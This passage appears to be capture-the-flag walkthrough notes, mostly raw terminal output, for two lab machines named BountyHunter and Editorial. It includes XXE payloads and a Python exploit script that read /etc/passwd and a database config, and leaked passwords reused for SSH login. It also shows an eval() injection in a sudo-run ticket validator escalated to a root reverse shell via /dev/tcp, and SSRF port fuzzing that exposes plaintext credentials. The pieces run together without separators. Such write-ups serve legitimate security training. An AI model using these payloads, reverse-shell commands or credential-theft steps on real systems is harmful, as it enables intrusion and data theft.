OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb -a 3 http://10.10.11.100/
http://10.10.11.100/ [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.100], JQuery, Script, Title[Bounty Hunters]❯ feroxbuster -u http://10.10.11.100/ -t 200 -C 500,502,404 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.100/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 310c http://10.10.11.100/css => http://10.10.11.100/css/
301 GET 9l 28w 309c http://10.10.11.100/js => http://10.10.11.100/js/
200 GET 80l 248w 3228c http://10.10.11.100/resources/monsterat.css
200 GET 64l 232w 2682c http://10.10.11.100/resources/lato.css
200 GET 122l 415w 30702c http://10.10.11.100/assets/img/portfolio/cake.png
200 GET 195l 683w 66699c http://10.10.11.100/assets/img/portfolio/cabin.png
200 GET 151l 616w 50204c http://10.10.11.100/assets/img/portfolio/circus.png
200 GET 5l 108280w 1194961c http://10.10.11.100/resources/all.js
200 GET 388l 1470w 25169c http://10.10.11.100/index.php
200 GET 20l 63w 617c http://10.10.11.100/log_submit.php
200 GET 5l 15w 125c http://10.10.11.100/portal.php
301 GET 9l 28w 316c http://10.10.11.100/resources => http://10.10.11.100/resources/
200 GET 1l 44w 2532c http://10.10.11.100/resources/jquery.easing.min.js
200 GET 24l 44w 594c http://10.10.11.100/resources/bountylog.js
200 GET 6l 34w 210c http://10.10.11.100/resources/README.txt
200 GET 2l 1297w 89476c http://10.10.11.100/resources/jquery.min.js
200 GET 7l 1031w 84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200 GET 7l 567w 48945c http://10.10.11.100/resources/bootstrap_login.min.js
200 GET 4l 1298w 86659c http://10.10.11.100/resources/jquery_login.min.js
301 GET 9l 28w 313c http://10.10.11.100/assets => http://10.10.11.100/assets/
200 GET 388l 1470w 25169c http://10.10.11.100/
301 GET 9l 28w 317c http://10.10.11.100/assets/img => http://10.10.11.100/assets/img/❯ gobuster dir -u http://10.10.11.100/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 503,404 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.100/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 503,404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/portal.php (Status: 200) [Size: 125]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/index.php (Status: 200) [Size: 25169]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY example "GzzcooXXE"> ]>
<bugreport>
<title>Gzzcoo</title>
<cwe>Gzzcoo&example;</cwe>
<cvss>9.0</cvss>
<reward>10000</reward>
</bugreport><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM 'file:///etc/passwd'>]>
<bugreport>
<title>Gzzcoo</title>
<cwe>&myFile;</cwe>
<cvss>9.0</cvss>
<reward>10000</reward>
</bugreport><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<bugreport>
<title>Gzzcoo</title>
<cwe>&xxe;</cwe>
<cvss>9.0</cvss>
<reward>10000</reward>
</bugreport>❯ cat data | base64 -d; echo
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinimport requests
import subprocess
import base64
import sys
from bs4 import BeautifulSoup
# Función para crear el payload XML con inyección XXE
def create_xml_payload(file_path):
# Plantilla XML con XXE usando una variable para la ruta del archivo
xxe_payload = f'''<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={file_path}"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>CWE</cwe>
<cvss>9.8</cvss>
<reward>1,000,000</reward>
</bugreport>
'''
return xxe_payload
# Función para codificar el XML en Base64
def encode_base64(xml_data):
return base64.b64encode(xml_data.encode('utf-8')).decode('utf-8')
# Función para limpiar las etiquetas HTML de la respuesta
def clean_html(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
return soup.get_text()
# Función para decodificar Base64 a texto plano o binario
def decode_base64(encoded_data):
try:
# Corregir el padding de Base64
encoded_data = encoded_data + '=' * (4 - len(encoded_data) % 4) # Aseguramos que tenga el padding correcto
decoded_data = base64.b64decode(encoded_data)
# Intentamos decodificar como texto
try:
return decoded_data.decode('utf-8')
except UnicodeDecodeError:
# Si falla la decodificación en UTF-8, regresamos el contenido binario
return decoded_data
except Exception as e:
print(f"Error decoding base64: {e}")
return None
# Función principal para realizar la solicitud POST
def send_post_request(file_path):
# Crear el payload XML con la ruta del archivo
xml_payload = create_xml_payload(file_path)
# Codificar el XML en Base64
base64_encoded_data = encode_base64(xml_payload)
# Preparar los headers para la solicitud
headers = {
'Host': '10.10.11.100',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://10.10.11.100',
'Connection': 'keep-alive',
'Referer': 'http://10.10.11.100/log_submit.php',
'Priority': 'u=0',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(len(base64_encoded_data) + len('data='))
}
# Datos del formulario (incluyendo el payload codificado)
data = {'data': base64_encoded_data}
# URL del endpoint
url = 'http://10.10.11.100/tracker_diRbPr00f314.php'
# Realizar la solicitud POST
response = requests.post(url, headers=headers, data=data)
# Limpiar las etiquetas HTML de la respuesta
cleaned_response = clean_html(response.text)
# Decodificar el contenido Base64 (si la respuesta tiene datos codificados)
if cleaned_response:
decoded_response = decode_base64(cleaned_response)
# Verificar si la respuesta es binaria o texto
if isinstance(decoded_response, bytes):
# print("Binary data received. Not displaying as text.")
# Aquí podrías guardar el archivo o procesarlo de alguna manera
with open('output.txt', 'wb') as f:
f.write(decoded_response)
# print("Binary data saved as 'output.txt'.")
#print(f"Decoded Response:\n{decoded_response}")
else:
print("No data found in the response.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python xxe_lfi.py <file_path>")
sys.exit(1)
# Tomar la ruta del archivo desde los argumentos
file_path = sys.argv[1]
# Enviar la solicitud POST con la ruta del archivo
send_post_request(file_path)
subprocess.run(["cat", "output.txt"])❯ python3 xxe_lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin❯ python3 xxe_lfi.py /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>❯ sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@10.10.11.100
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 03 Mar 2025 10:45:52 PM UTC
System load: 0.0
Usage of /: 24.0% of 6.83GB
Memory usage: 14%
Swap usage: 0%
Processes: 215
Users logged in: 0
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:fe94:2767
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ cat user.txt
f07029***********************development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.pydevelopment@bountyhunter:/opt/skytrain_inc/invalid_tickets$ ls -l
total 16
-r--r--r-- 1 root root 102 Jul 22 2021 390681613.md
-r--r--r-- 1 root root 86 Jul 22 2021 529582686.md
-r--r--r-- 1 root root 97 Jul 22 2021 600939065.md
-r--r--r-- 1 root root 101 Jul 22 2021 734485704.md
development@bountyhunter:/opt/skytrain_inc/invalid_tickets$ cat 390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()validationNumber = eval(x.replace("**", ""))# Skytrain Inc
## Ticket to Exploitville
__Ticket Code:__
**4+__import__('os').system('id')**
##Issued: 2025/03/03
#End TicketvalidationNumber = eval("4+__import__('os').system('id')")development@bountyhunter:/tmp$ cat gzzcoo.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/gzzcoo.md
Destination: New Haven
Invalid ticket.# Skytrain Inc
## Ticket to Exploitville
__Ticket Code:__
**4+__import__('os').system('id')**
##Issued: 2025/03/03
#End Ticketdevelopment@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/gzzcoo.md
Destination: Exploitville
uid=0(root) gid=0(root) groups=0(root)
Invalid ticket.# Skytrain Inc
## Ticket to Exploitville
__Ticket Code:__
**4+__import__('os').system('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"')**
##Issued: 2025/03/03
#End Ticket❯ nc -nlvp 443
listening on [any] 443 ...development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/gzzcoo.md
Destination: Exploitville❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.100] 32876
root@bountyhunter:/tmp# whoami
root
root@bountyhunter:/tmp# cat /root/root.txt
ceb5***************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.20 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 15:58 CET
Initiating SYN Stealth Scan at 15:58
Scanning 10.10.11.20 [65535 ports]
Discovered open port 80/tcp on 10.10.11.20
Discovered open port 22/tcp on 10.10.11.20
Completed SYN Stealth Scan at 15:59, 33.46s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.21s latency).
Scanned at 2025-02-21 15:58:53 CET for 34s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 33.63 seconds
Raw packets sent: 76684 (3.374MB) | Rcvd: 76462 (3.059MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.20
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.20 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 16:04 CET
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 312.88 ms 10.10.16.1
2 117.62 ms editorial.htb (10.10.11.20)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.95 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep editorial
10.10.11.20 editorial.htb❯ whatweb http://editorial.htb
http://editorial.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.20], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]❯ feroxbuster -u http://editorial.htb/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://editorial.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 72l 232w 2939c http://editorial.htb/about
200 GET 210l 537w 7140c http://editorial.htb/upload
302 GET 5l 22w 201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200 GET 81l 467w 28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200 GET 7l 2189w 194901c http://editorial.htb/static/css/bootstrap.min.css
200 GET 4780l 27457w 2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200 GET 177l 589w 8577c http://editorial.htb/
200 GET 10938l 65137w 4902042c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
[####################] - 30s 30015/30015 0s found:8 errors:0
[####################] - 30s 30002/30002 1010/s http://editorial.htb/ ❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [21/Feb/2025 16:27:21] code 404, message File not found
10.10.11.20 - - [21/Feb/2025 16:27:21] "GET /gzzcoo HTTP/1.1" 404 -POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------3354742931632117974366790258
Content-Length: 356
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
Priority: u=0
-----------------------------3354742931632117974366790258
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------3354742931632117974366790258
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------3354742931632117974366790258--❯ ffuf -u http://editorial.htb/upload-cover -request request -w <( seq 0 65535) -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /proc/self/fd/15
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Host: editorial.htb
:: Header : Accept: */*
:: Header : Content-Type: multipart/form-data; boundary=---------------------------3354742931632117974366790258
:: Header : Origin: http://editorial.htb
:: Header : Connection: keep-alive
:: Header : Referer: http://editorial.htb/upload
:: Header : Priority: u=0
:: Data : -----------------------------3354742931632117974366790258
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------3354742931632117974366790258
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------3354742931632117974366790258--
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 87ms]❯ curl -s 'http://editorial.htb/static/uploads/45dcd0c6-2ec4-4305-a9d8-d507844a6ed2' | jq .
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}❯ curl -s 'http://editorial.htb/static/uploads/5e9d4edf-c293-476e-a7cf-35f544a4f82b' | jq .
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}❯ sshpass -p 'dev080217_devAPI!@' ssh dev@10.10.11.20
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ cat user.txt
ca92c***************************dev@editorial:~$ sudo -l
[sudo] password for dev:
sudo: a password is required
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bashdev@editorial:/opt/internal_apps$ ls -l
total 12
drwxr-xr-x 3 root root 4096 Jun 5 2024 app_api
drwxr-x--- 2 root prod 4096 Jun 5 2024 clone_changes
drwxr-xr-x 2 www-data www-data 4096 Jun 5 2024 environment_scripts
dev@editorial:/opt/internal_apps$ ls -l app_api/
total 16
-rw-r--r-- 1 root root 5273 Jan 16 2024 app.py
drwxr-xr-x 2 root root 4096 Jun 5 2024 __pycache__
-rwxr-xr-x 1 root root 62 Feb 4 2023 wsgi.py
dev@editorial:/opt/internal_apps$ ls -l clone_changes/
ls: cannot open directory 'clone_changes/': Permission denied
dev@editorial:/opt/internal_apps$ ls -l environment_scripts/
total 4
-rw-r--r-- 1 www-data www-data 89 Feb 2 2023 clear.shdev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 2024 .
drwxr-x--- 4 dev dev 4096 Feb 21 15:54 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 2024 .git
dev@editorial:~/apps$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
deleted: app_editorial/static/css/bootstrap-grid.css.map
deleted: app_editorial/static/css/bootstrap-grid.min.css
deleted: app_editorial/static/css/bootstrap-grid.min.css.map
deleted: app_editorial/static/css/bootstrap-grid.rtl.css
deleted: app_editorial/static/css/bootstrap-grid.rtl.css.map
deleted: app_editorial/static/css/bootstrap-grid.rtl.min.css
deleted: app_editorial/static/css/bootstrap-grid.rtl.min.css.map
deleted: app_editorial/static/css/bootstrap-reboot.css
deleted: app_editorial/static/css/bootstrap-reboot.css.map
deleted: app_editorial/static/css/bootstrap-reboot.min.css
deleted: app_editorial/static/css/bootstrap-reboot.min.css.map
deleted: app_editorial/static/css/bootstrap-reboot.rtl.css
deleted: app_editorial/static/css/bootstrap-reboot.rtl.css.map
deleted: app_editorial/static/css/bootstrap-reboot.rtl.min.css
deleted: app_editorial/static/css/bootstrap-reboot.rtl.min.css.map
deleted: app_editorial/static/css/bootstrap-utilities.css
deleted: app_editorial/static/css/bootstrap-utilities.css.map
deleted: app_editorial/static/css/bootstrap-utilities.min.css
deleted: app_editorial/static/css/bootstrap-utilities.min.css.map
deleted: app_editorial/static/css/bootstrap-utilities.rtl.css
deleted: app_editorial/static/css/bootstrap-utilities.rtl.css.map
deleted: app_editorial/static/css/bootstrap-utilities.rtl.min.css
deleted: app_editorial/static/css/bootstrap-utilities.rtl.min.css.map
deleted: app_editorial/static/css/bootstrap.css
deleted: app_editorial/static/css/bootstrap.css.map
deleted: app_editorial/static/css/bootstrap.min.css
deleted: app_editorial/static/css/bootstrap.min.css.map
deleted: app_editorial/static/css/bootstrap.rtl.css
deleted: app_editorial/static/css/bootstrap.rtl.css.map
deleted: app_editorial/static/css/bootstrap.rtl.min.css
deleted: app_editorial/static/css/bootstrap.rtl.min.css.map
deleted: app_editorial/static/images/login-background.jpg
deleted: app_editorial/static/images/pexels-janko-ferlic-590493.jpg
deleted: app_editorial/static/images/pexels-min-an-694740.jpg
deleted: app_editorial/static/js/bootstrap.bundle.js
deleted: app_editorial/static/js/bootstrap.bundle.js.map
deleted: app_editorial/static/js/bootstrap.bundle.min.js
deleted: app_editorial/static/js/bootstrap.bundle.min.js.map
deleted: app_editorial/static/js/bootstrap.esm.js
deleted: app_editorial/static/js/bootstrap.esm.js.map
deleted: app_editorial/static/js/bootstrap.esm.min.js
deleted: app_editorial/static/js/bootstrap.esm.min.js.map
deleted: app_editorial/static/js/bootstrap.js
